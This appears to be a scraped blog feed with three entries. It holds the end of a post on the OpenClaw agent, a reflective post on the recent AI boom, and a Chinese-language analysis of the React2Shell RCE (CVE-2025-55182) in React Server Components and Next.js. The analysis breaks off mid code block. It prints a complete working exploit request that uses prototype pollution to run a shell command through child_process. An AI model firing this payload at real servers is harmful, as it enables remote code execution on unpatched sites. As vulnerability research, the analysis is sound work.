href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h2><p>洋洋洒洒写了一大堆，主要还是分享我对OpenClaw的认知和见闻，营销号看的太多，总是分不清什么是真的什么是营销的，在信息爆炸的时代这或许是个常态。</p><ul><li><strong>OpenClaw到底有没有意义？</strong></li></ul><p>有，首先作为开源工具证明了这个理念的可行性，nb</p><ul><li><strong>OpenClaw到底是不是营销出来的？</strong></li></ul><p>是，OpenClaw原生至少现在，根本不具备被养的能力</p><ul><li><strong>OpenClaw值不值得玩一下？</strong></li></ul><p>我只能说比你想象的可能要有用一些</p><p>我们下篇再见！</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;上篇博客中，我分享了最近关于AI的见闻和感受。本来按照流程，我应该用几篇博客的时间介绍一下最近接触和学习到的东西。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;但最主要的是，感觉如果不先聊聊OpenClaw，这东西很可能就要过气了。&lt;/strong&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="gpt" scheme="https://lorexxar.cn/tags/gpt/"/>
    
    <category term="openclawd" scheme="https://lorexxar.cn/tags/openclawd/"/>
    
  </entry>
  
  <entry>
    <title>AI.Re.(1) - AI变革的时代来了吗？</title>
    <link href="https://lorexxar.cn/2026/03/10/reai1/"/>
    <id>https://lorexxar.cn/2026/03/10/reai1/</id>
    <published>2026-03-10T03:52:08.000Z</published>
    <updated>2026-04-07T10:26:11.330Z</updated>
    
    <content type="html"><![CDATA[<p>许久没有起笔写博客和公众号了，忽然一下起笔，似乎一下子找不到下笔的方式和由头，其实我想恢复写博客的习惯很久了，最近几年博客写的很少，原因有很多，一个这几年工作内容涉及到的公司内容比较多，不好去密，另一个是人真的是很懒惰的，放下笔很容易但是提起笔需要很多理由。</p><p>今天这篇博客，没有技术，只想和大家分享分享最近的想法。</p><a id="more"></a><p>认识我的朋友可能知道，这些年我另营业的副业做的还马马虎虎可以，无论是B站还是抖音，做视频做直播花费了很多精力，也有一些粉丝和收入。<br><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101153096.png" alt=""></p><p>反而是安全方向，做了很多东西但是实际的产出很少，在去年有一段时间甚至算是有点儿陷入迷茫阶段，有点儿不太清楚自己在干什么，每天公式化完成工作，最后整体算下来感觉自己也没什么成长。</p><p>我在奇安信的主要工作就是围绕破壳平台，后面我会更多分享和这个有关的内容</p><ul><li><a href="https://poc.qianxin.com/" target="_blank" rel="noopener">https://poc.qianxin.com/</a></li></ul><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101153153.png" alt=""></p><p>对我来说近期有一件事情影响非常之大，<strong>AI之于用户甚至之于这个时代都已经是老生常谈</strong>，哪怕是什么都不懂的人，多多少少也能打开个手机里的豆包，没事问问豆包问题，调戏调戏豆包。</p><p>从去年的年底开始，实话讲我并不知道具体是什么时候，有些人说是25年的10月，也有人说是更早，突然感觉AI的浪潮向我拍过来了，最开始我虽然会刷到这些新闻，但是<strong>很多时候只是大体看看怎么回事</strong>，大概知道，原来又多了一点儿新东西，但是好像也没啥新意。</p><p>我工作中使用AI更多的场景，依旧是<strong>平时拿AI当搜索软件搜索写代码遇到的问题</strong>，再就是<strong>用trae维护另一个我自己维护的平台功能</strong>，我很少会深度的使用AI。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101153539.png" alt=""></p><p>在当时心中对于AI的认知还停留在，<strong>上下文不够长，幻觉严重的问题无法解决</strong>，这两个致命问题上，所以很多东西大概知道怎么回事，但是觉得没有花时间了解的必要。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101153463.png" alt=""></p><p>直到12月底的两件事情，算是彻底改变了我的观念，也让我真真切切的意识到，<strong>或许真的AI时代的洪流，要到来了。</strong></p><p>第一件事情就是，<strong>Claude Code的开发团队表示，在过去的30天，CC的所有代码都是由AI来完成的。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101153738.png" alt=""></p><p>其实说实话，我没有很刻意的求证过该内容是不是有夸大其词的成分，也可能他是一次成功的营销，实际就是，我在大体了解了这件事情后续的相关内容之后（就是这个作者分享了他是怎么用cc做到这件事情的），给我造成了第一次认知冲击。</p><p>我相信在看到这句话，一定会有两种人对我讲的事情有完全不一样的第一反应。</p><p>第一种，就是很早就深耕AI agent的朋友，第一反应会觉得，这不是很正常吗，<strong>这已经是ai agent最基础不过的应用场景了。</strong></p><p>另一种，就是当时的我，第一反应会觉得，假的吧怎么可能，<strong>我昨天用trae/cursor写代码，他还写出了一堆bug我修了一天。</strong></p><p>但在后续仔细研究了CC团队分享的内容之后，你会发现，即便不是100%，AI的自动化率也至少超过了95%，对我来说当时的第一个冲击就是，原来已经有人领先这么多了。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101153785.jpeg" alt=""></p><p>第二件对我影响很大的事情就是，在12月的最后一天，我们团队内部做了一个<strong>专门的AI和漏洞挖掘的分享会</strong>，在这个分享会上，最早开始深度投入ai的团队，已经做出了<strong>一些非常不错的漏洞挖掘工作流</strong>，还有了很多成果。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154689.png" alt=""></p><p>这和我之前的认知大相径庭，在这之前我看过的大部分漏洞挖掘工作流，要不就是<strong>装模做样做分析</strong>但实际上<strong>上下文根本不足以支撑正常项目</strong>，只能<strong>跑跑测试样例写论文</strong>，要不就是<strong>辅助写CodeQL的规则</strong>，实际上没有脱离工具本身。</p><p>这两件事情几乎发生在同一时间，像洪流一样摧毁了我的认知，我自以为我天天了解AI的新闻，也在AI使用的第一线，<strong>但我自以为是的傲慢让我错过了最早跟上的第一班车。</strong></p><p>在我刚刚意识到这件事情之后，马上从1月一直到3月，AI的热潮就已经越演越烈，除了过年的几天，我几乎每天都在接触和辨别新东西的诞生，<strong>今天还在测试做工作流，明天研究这个那个skill，后天研究openclaw。</strong></p><p>我开始越来越意识到，我似乎正值某一个时代的风口。</p><p><strong>其实在我不短不长的职业生涯中，也接触过好几次类似的事情。</strong></p><p>我真正意义上错过的风口，其实只有一个，叫做<strong>移动互联网</strong>。但严格意义上来说也不算实际错过，毕竟移动互联网真正的核心腾讯、阿里、字节跳动，在我还没毕业的时候就已经成型了，最多就是没赶上第三波车，也不算非常可惜。</p><p>我第二次遇到所谓的风口，叫做<strong>区块链</strong>。</p><p>和第一次不太一样，我曾经深度的all in过区块链1-2年，不仅仅是区块链安全，还包括区块链相关的很多内容，我甚至可以说是世界范围内，<strong>最早投入区块链安全的人群之一。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154420.png" alt=""></p><p>但在区块链这件事情上，我很快意识到，区块链最大的存在意义已经到这里了，<strong>金融就是他最好的场景</strong>，于是在后续的几年里我快速的从这里抽身出来。</p><p>幸运的是我的认知是对的，<strong>炒币已经是区块链最大的意义</strong>了。不幸的是，如果我继续投入区块链，我应该能获得足以安慰自己的身家，当然，没有如果。</p><p>在中间快速的跳过几年，<strong>上一次时代浪潮的风口叫做chatgpt</strong>，我认为chatgpt对于ai最大的贡献和价值，就是他终于帮助ai迈出了最关键的那一步，就是ai可以和人类沟通了。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154076.png" alt=""></p><p>在chatgpt出现的前几年，无论是最出名的阿尔法狗下围棋击败柯洁，还是探讨神经网络模型的深度学术，ai对于大家来说更多只是一个科幻名词，<strong>人们对于AI最高的想象力也不过来自于科幻电影，很多人对于AI的期望可能还是50-100年后。</strong></p><p>2022年，<strong>chatgpt完全打破了普通用户和AI的第一扇窗</strong>，我们真正开始意识到，原来AI已经可以完成这么麻烦的语义解析了，可以完全打通语言这块，但最早的chatgpt也仅限于此。</p><p>在最早的版本中，ai的实用性还很差，大部分用户只能以<strong>prompt工程师的方式</strong>，想办法调动ai的能力，更有能力的公司会开始尝试微调，真正入局的大公司开始堆算力训练自己的大模型。</p><p>ps：只有我一个人觉得当年的prompt提示词没啥实际用吗？我最早一直觉得很怪。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154651.png" alt=""></p><p>最早的AI上下文极短，本身AI的能力也不够强，最早的应用场景做知识库，他的应用办法也是取巧，<strong>RAG的知识库模式应该是最早唯一的实现方式。</strong></p><p>简单来说就是</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">用户提问</span><br><span class="line">   ↓</span><br><span class="line">将问题向量化（Embedding）</span><br><span class="line">   ↓</span><br><span class="line">在知识库中检索相关文档（Vector DB）</span><br><span class="line">   ↓</span><br><span class="line">将检索结果 + 原始问题拼接为 Prompt</span><br><span class="line">   ↓</span><br><span class="line">送入 LLM 生成最终回答</span><br></pre></td></tr></table></figure><p>实话讲这套方案效果非常差，试图<strong>将AI能力薄弱转嫁为数学问题</strong>，在实际体验中效果就很一般了，那<strong>最早做AI搜索的知识库，搜索引擎</strong>，效果都不算好，更多都是以营销为核心。</p><p>再往后，大概是2023年年终，<strong>以GPT4为代表的大模型，以插件的形式打通了大模型和其他输入来源</strong>，最早的GPT，你只能问他已经训练过的数据，我记得当时有个标准就是不能问近3年更新的内容，GPT没学过。</p><p>从GPT4开放插件之后，大模型有了第三方的输入，其中<strong>最有价值的就是联网搜索</strong>，从这里开始，GPT真正意义上成为了很多人遇到问题搜索的第一优先级，最早是程序员使用搜索代码问题，再到后来，<strong>这类的观念和理念促成了23年最火的AI工具cursor</strong>，自此用AI辅助编程就成了主流，被越来越多人接受和使用。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154216.png" alt=""></p><p>再往后23年末，<strong>工作流、agent的概念诞生</strong>，事实上也正是从这里开始，<strong>我低估了方法论在AI实际使用上的效果。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154383.png" alt=""></p><p>其实从23末到25年，这个期间比起方法论的发展，<strong>AI更主流的发展是大模型的能力。</strong></p><p>大家都知道的<strong>deepseek发起的算力革命</strong>，ds的出现打破了openai为首试图发起21世纪算力霸权的企图，从这里开始大模型不再拼谁的算力更强，集群更大。而是谁能做出更聪明的模型。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154338.png" alt=""></p><p>也正是从廉价大模型能力出现之后，以豆包为首的民用AI场景越来越强，越来越实用。</p><p>现在回顾25年，可以说25年是真正的AI元年。</p><p><strong>民用情感对话方面，豆包的诞生。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154354.png" alt=""></p><p>代码相关<strong>，Claude code和codex都是25年诞生。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154350.png" alt=""></p><p>还有一个大家可能关注比较少的领域，<strong>AI视频生成，即梦AI 2.0也是刚刚发布</strong>，在这之前AI视频更多停留在换脸或者生成一个奇怪的AI感很强的搞怪视频。</p><p>但在26年，视频AI可以说是突飞猛进，<strong>过年期间我刷到过很多关于真人AI后室vlog的视频</strong>，不知道有没有人了解过，效果非常好，在年后甚至<strong>有那种效果非常好的ai短剧出现</strong>，不是说AI视频已经可以替代真人，但会有一种护城河被冲破的感觉。</p><p>ps：我不知道我看的这个是不是最早做的，但是他用了<strong>真人演绎+AI视频做的后室vlog</strong>，效果非常好，我知道他是AI做的，但是我并不反感，真的很不错。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154539.png" alt=""></p><p>再往后，从26年开始，我真正意识到AI浪潮已来之后，<strong>26年的热点和浪潮一波接着一波。</strong></p><p>首先是元旦到年间的AI大战，<strong>阿里的千问，腾讯的元宝，字节的豆包</strong>，铺天盖地的宣传和推广袭来，颇有点儿当年阿里腾讯支付大战的风采，现在最不敏感的普通民众应该都意识到似乎有很多东西不一样了。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154680.png" alt=""></p><p>大模型方面年后大量的新模型发布，<strong>GPT5.4，Claude Sonnet4.6，Gemini 3.1Pro，Grok 4.2，GLM5，Minmax2.5，还包括前面说的视频ai seedance 2.0</strong>，虽然大模型的能力没有革命性的进步，但不同模型的能力也在进一步拉齐。</p><p><strong>ps：给大家推荐下我现在用的特别多的GLM5，实话讲我也觉得和opus差距较大，但是这个模型真的便宜，我近期那种测试学习向的AI都用了这个。</strong></p><p> 🚀 邀请链接：<a href="https://www.bigmodel.cn/glm-coding?ic=BNTJWOGIBH" target="_blank" rel="noopener">https://www.bigmodel.cn/glm-coding?ic=BNTJWOGIBH</a></p><p>很快我们迎来了年后的第一个大热点。</p><p><strong>最早的Clawdbot，后来改名Moltbot，现在又改名叫Openclaw</strong>，最近最有名的应该叫做龙虾。其实<strong>Openclaw并不是第一个依托于LLM的主动代理助手</strong>，这个类似的概念我1年前就听过，之前Meta收购的Manus AI，Manus可能也不是最早的，而且很多人说Manus根本没有成品。但这个概念很早就有了。</p><p>年初Openclaw爆火，其实我觉得主要推手就是腾讯，腾讯以非常快的效率跟进并推广这个东西。</p><p><strong>今天这篇博客我先不讨论太多Openclaw，但下面这张图确实很有意思。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154562.jpeg" alt=""></p><p>时至今日，正处于时代浪潮风口当中，AI变革的时代来了吗？</p><p>或许现在的我给不出答案，但后续的博客中，我会伴随着我的学习和分享，和大家一起探讨这个答案。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;许久没有起笔写博客和公众号了，忽然一下起笔，似乎一下子找不到下笔的方式和由头，其实我想恢复写博客的习惯很久了，最近几年博客写的很少，原因有很多，一个这几年工作内容涉及到的公司内容比较多，不好去密，另一个是人真的是很懒惰的，放下笔很容易但是提起笔需要很多理由。&lt;/p&gt;
&lt;p&gt;今天这篇博客，没有技术，只想和大家分享分享最近的想法。&lt;/p&gt;</summary>
    
    
    
    
    <category term="ai" scheme="https://lorexxar.cn/tags/ai/"/>
    
    <category term="gpt" scheme="https://lorexxar.cn/tags/gpt/"/>
    
  </entry>
  
  <entry>
    <title>不容错过的2025年度漏洞：React2Shell（CVE-2025-55182）分析</title>
    <link href="https://lorexxar.cn/2025/12/31/react2shell/"/>
    <id>https://lorexxar.cn/2025/12/31/react2shell/</id>
    <published>2025-12-31T10:23:35.000Z</published>
    <updated>2026-01-05T06:27:40.917Z</updated>
    
    <content type="html"><![CDATA[<p>2025年12月3日，时隔4年，安全圈又一个通杀环境的核弹漏洞被公开，CVSS评分10.0，影响范围React 19+全版本，Next.js 15/16，无条件默认环境RCE漏洞，史称React2shell。</p><p>该漏洞由安全研究员 Lachlan Davidson 于 2025 年 11 月 29 日发现，在3号被公开</p><ul><li><a href="https://www.tenable.com/blog/react2shell-cve-2025-55182-react-server-components-rce" target="_blank" rel="noopener">https://www.tenable.com/blog/react2shell-cve-2025-55182-react-server-components-rce</a></li></ul><p>最早的版本大家讨论的结论是，只有使用rsc作为后端的环境才会受到漏洞的利用，主要原因还是受到了最早版本poc的影响，也就是ejpir专门构造的漏洞环境和poc。</p><p>但是很快maple3142在12月5日发布了真正的poc</p><ul><li><a href="https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3" target="_blank" rel="noopener">https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3</a></li></ul><p>在更快的时间内，next.js默认环境全版本通杀直接影响了以dify为代表的许多平台，一下子引爆了漏洞的影响范围，漏洞正式进入2阶段，大范围利用以及企业内部自查阶段。</p><a id="more"></a><h1 id="漏洞影响范围"><a href="#漏洞影响范围" class="headerlink" title="漏洞影响范围"></a>漏洞影响范围</h1><p>影响范围包括</p><ul><li>react-server：19.0.0，19.1.0，19.1.1，19.2.0</li><li>Next.js：14.3.0-canary、15.x 、16.x</li></ul><p>修复补丁版本包括</p><ul><li>React：19.0.1、19.1.2 、19.2.1</li><li>Next.js：14.3.0-canary.88、15.0.5、15.1.9、15.2.6、15.3.6、15.4.8、15.5.7、16.0.7</li></ul><h1 id="简单的漏洞演示"><a href="#简单的漏洞演示" class="headerlink" title="简单的漏洞演示"></a>简单的漏洞演示</h1><p>最简单的漏洞演示非常简单，直接起一个默认环境的next.js即可</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311825860.png" alt=""></p><p>poc直接用maple的即可（这里要注意这个poc不能用来打线上环境，会打挂的）</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">POST &#x2F; HTTP&#x2F;1.1</span><br><span class="line">Host: localhost:3000</span><br><span class="line">User-Agent: Mozilla&#x2F;5.0 (Windows NT 10.0; Win64; x64) AppleWebKit&#x2F;537.36 (KHTML, like Gecko) Chrome&#x2F;60.0.3112.113 Safari&#x2F;537.36 Assetnote&#x2F;1.0.0</span><br><span class="line">Next-Action: x</span><br><span class="line">X-Nextjs-Request-Id: b5dce965</span><br><span class="line">Content-Type: multipart&#x2F;form-data; boundary&#x3D;----WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9</span><br><span class="line">Content-Length: 565</span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">Content-Disposition: form-data; name&#x3D;&quot;0&quot;</span><br><span class="line"></span><br><span class="line">&#123;&quot;then&quot;:&quot;$1:__proto__:then&quot;,&quot;status&quot;:&quot;resolved_model&quot;,&quot;reason&quot;:-1,&quot;value&quot;:&quot;&#123;\&quot;then\&quot;:\&quot;$B1337\&quot;&#125;&quot;,&quot;_response&quot;:&#123;&quot;_prefix&quot;:&quot;var res&#x3D;process.mainModule.require(&#39;child_process&#39;).execSync(&#39;clac.exe&#39;).toString().trim();;throw Object.assign(new Error(&#39;NEXT_REDIRECT&#39;),&#123;digest: &#96;NEXT_REDIRECT;push;&#x2F;login?a&#x3D;$&#123;res&#125;;307;&#96;&#125;);&quot;,&quot;_chunks&quot;:&quot;$Q2&quot;,&quot;_formData&quot;:&#123;&quot;get&quot;:&quot;$1:constructor:constructor&quot;&#125;&#125;&#125;</span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">Content-Disposition: form-data; name&#x3D;&quot;1&quot;</span><br><span class="line"></span><br><span class="line">&quot;$@0&quot;</span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">Content-Disposition: form-data; name&#x3D;&quot;2&quot;</span><br><span class="line"></span><br><span class="line">[]</span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad--</span><br></pre></td></tr></table></figure><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311825975.png" alt=""></p><h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><h2 id="什么是RSC-React-Server-Components-？"><a href="#什么是RSC-React-Server-Components-？" class="headerlink" title="什么是RSC(React Server Components)？"></a>什么是RSC(React Server Components)？</h2><p>在了解react2shell这个漏洞之前，第一个问题一定是，为什么一个前端语言会涉及到服务端的命令执行呢？这个问题就涉及到了<strong>React的新特性RSC(React Server Components)。</strong></p><p>其实理解这个特性并不是很难，如果稍微关注过现在的前端实现方式，就会大概知道现在前端页面内容大多都是由js绘制的。打开页面往往没有实际的内容，都是由<strong>js代码完成交互获得内容并绘制页面。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311825517.png" alt=""></p><p>但是我们换个角度去想，如果浏览器加载页面需要先js绘制，然后页面加载结束之后再去请求后端获得数据，如果页面复杂或者数据非常多，就会很容易加载慢，页面长时间的空白，体验感很差。</p><p>那么最初解决的方法也很简单，<strong>传统的SSR解决方案</strong>，就是服务器直接把页面和数据做好处理，直接返回HTML，页面就可以跳过处理的部分直接显示部分内容减少加载时间。但是问题也很明显，如果请求数量多，服务器压力就会大，而且如果页面很大，请求的js和html也会很大加载也会慢。</p><p>为了解决这些问题，后来又提出了<strong>RSC(React Server Components)</strong>，服务端做好必要的数据处理，并以Flight协议的方式下发到客户端，客户端按照接收到的内容进行选择性水合，流式的更新前端交互内容。</p><p>在23年，Next.js13进一步延伸加入了Server Actions功能，在服务端提前定义好功能，通过客户端调用服务端运行操作，效率更高。并在后续这个特性被内置到了React中。</p><h2 id="什么是Flight协议？"><a href="#什么是Flight协议？" class="headerlink" title="什么是Flight协议？"></a>什么是Flight协议？</h2><p>这个漏洞的基础根基就是Flight协议，<strong>Flight协议就是React搞得一套用来在服务端和客户端之间传递信息的协议</strong>，传递到前端则会影响前端页面的显示内容，传递到后端则是会执行对应的Server Actions。说白了就是一个有点儿类似于java传递序列化信息的东西。</p><p>React的服务端会在接收到请求之后经过一系列处理最终反序列化得到js对象</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311826572.png" alt=""></p><p>其实大多东西都不值得关注，其中最关键的部分是类型标识，带有特殊标记的变量会在反序列化的时候转化为对应的对象引用，这点其实和其他语言反序列化的逻辑类似。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311826733.png" alt=""></p><p>理论上来说，反序列化并没有对内容做严格的限制，只要符合格式，就可以获得对应的js对象。</p><p>而这个漏洞的核心原理，<strong>在服务端对传入内容解析转对象时，导致了原型链污染，最终触发代码执行。</strong></p><p>在实际的漏洞之前，可能还需要知道Chunk对象是什么。</p><h2 id="Chunk对象"><a href="#Chunk对象" class="headerlink" title="Chunk对象"></a>Chunk对象</h2><p>在React服务端收到post请求，请求包的content-type为multipart/form-data，其中每段数据将会转化为一个Chunk对象。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">Chunk</span>(<span class="params">status: any, value: any, reason: any, response: Response</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">this</span>.status = status;</span><br><span class="line">  <span class="keyword">this</span>.value = value;</span><br><span class="line">  <span class="keyword">this</span>.reason = reason;</span><br><span class="line">  <span class="keyword">this</span>._response = response;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// We subclass Promise.prototype so that we get other methods like .catch</span></span><br><span class="line">Chunk.prototype = (<span class="built_in">Object</span>.create(<span class="built_in">Promise</span>.prototype): any);</span><br><span class="line"><span class="comment">// <span class="doctag">TODO:</span> This doesn't return a new Promise chain unlike the real .then</span></span><br><span class="line">Chunk.prototype.then = <span class="function"><span class="keyword">function</span> &lt;<span class="title">T</span>&gt;(<span class="params"></span></span></span><br><span class="line"><span class="function"><span class="params">  this: SomeChunk&lt;T&gt;,</span></span></span><br><span class="line"><span class="function"><span class="params">  resolve: (value: T</span>) =&gt; <span class="title">mixed</span>,</span></span><br><span class="line"><span class="function">  <span class="title">reject</span>: (<span class="params">reason: mixed</span>) =&gt; <span class="title">mixed</span>,</span></span><br><span class="line"><span class="function">) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> chunk: SomeChunk&lt;T&gt; = <span class="keyword">this</span>;</span><br><span class="line">  <span class="comment">// If we have resolved content, we try to initialize it first which</span></span><br><span class="line">  <span class="comment">// might put us back into one of the other states.</span></span><br><span class="line">  <span class="keyword">switch</span> (chunk.status) &#123;</span><br><span class="line">    <span class="keyword">case</span> RESOLVED_MODEL:</span><br><span class="line">      initializeModelChunk(chunk);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// The status might have changed after initialization.</span></span><br><span class="line">  <span class="keyword">switch</span> (chunk.status) &#123;</span><br><span class="line">    <span class="keyword">case</span> INITIALIZED:</span><br><span class="line">      resolve(chunk.value);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> PENDING:</span><br><span class="line">    <span class="keyword">case</span> BLOCKED:</span><br><span class="line">    <span class="keyword">case</span> CYCLIC:</span><br><span class="line">      <span class="keyword">if</span> (resolve) &#123;</span><br><span class="line">        <span class="keyword">if</span> (chunk.value === <span class="literal">null</span>) &#123;</span><br><span class="line">          chunk.value = <span class="function">(<span class="params">[]: <span class="built_in">Array</span>&lt;(T</span>) =&gt;</span> mixed&gt;);</span><br><span class="line">        &#125;</span><br><span class="line">        chunk.value.push(resolve);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> (reject) &#123;</span><br><span class="line">        <span class="keyword">if</span> (chunk.reason === <span class="literal">null</span>) &#123;</span><br><span class="line">          chunk.reason = <span class="function">(<span class="params">[]: <span class="built_in">Array</span>&lt;(mixed</span>) =&gt;</span> mixed&gt;);</span><br><span class="line">        &#125;</span><br><span class="line">        chunk.reason.push(reject);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">default</span>:</span><br><span class="line">      reject(chunk.reason);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>这里需要关注两个case</p><p><strong>当case是”resolved_model”时，调用initializeModelChunk方法初始化Chunk对象</strong></p><p><strong>当case是”fulfilled”时，调用resolve方法处理</strong></p><p>这个Chunk对象结构将会贯穿这个漏洞很多流程</p><h2 id="漏洞分析-1"><a href="#漏洞分析-1" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>让我们回到React处理请求的逻辑上，核心位于decodeReplyFromBusboy方法</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311826605.png" alt=""></p><p>response来自于createResponse，其中_formData刚好对应表单传入的formdata</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311826804.png" alt=""></p><p>紧接着绑定事件到field上，会对应触发resolveField处理response</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311826051.png" alt=""></p><p>一直执行到return getRoot，会尝试获得response的第0个Chunk</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311826511.png" alt=""></p><p>在getChunk中，由于_formData此时不为空，所以走到createResolvedModelChunk方法，并新建一个Chunk对象，id为0</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311826669.png" alt=""></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311826934.png" alt=""></p><p>完成了Chunk对象的初始化之后，会触发then方法回到状态判断上</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span 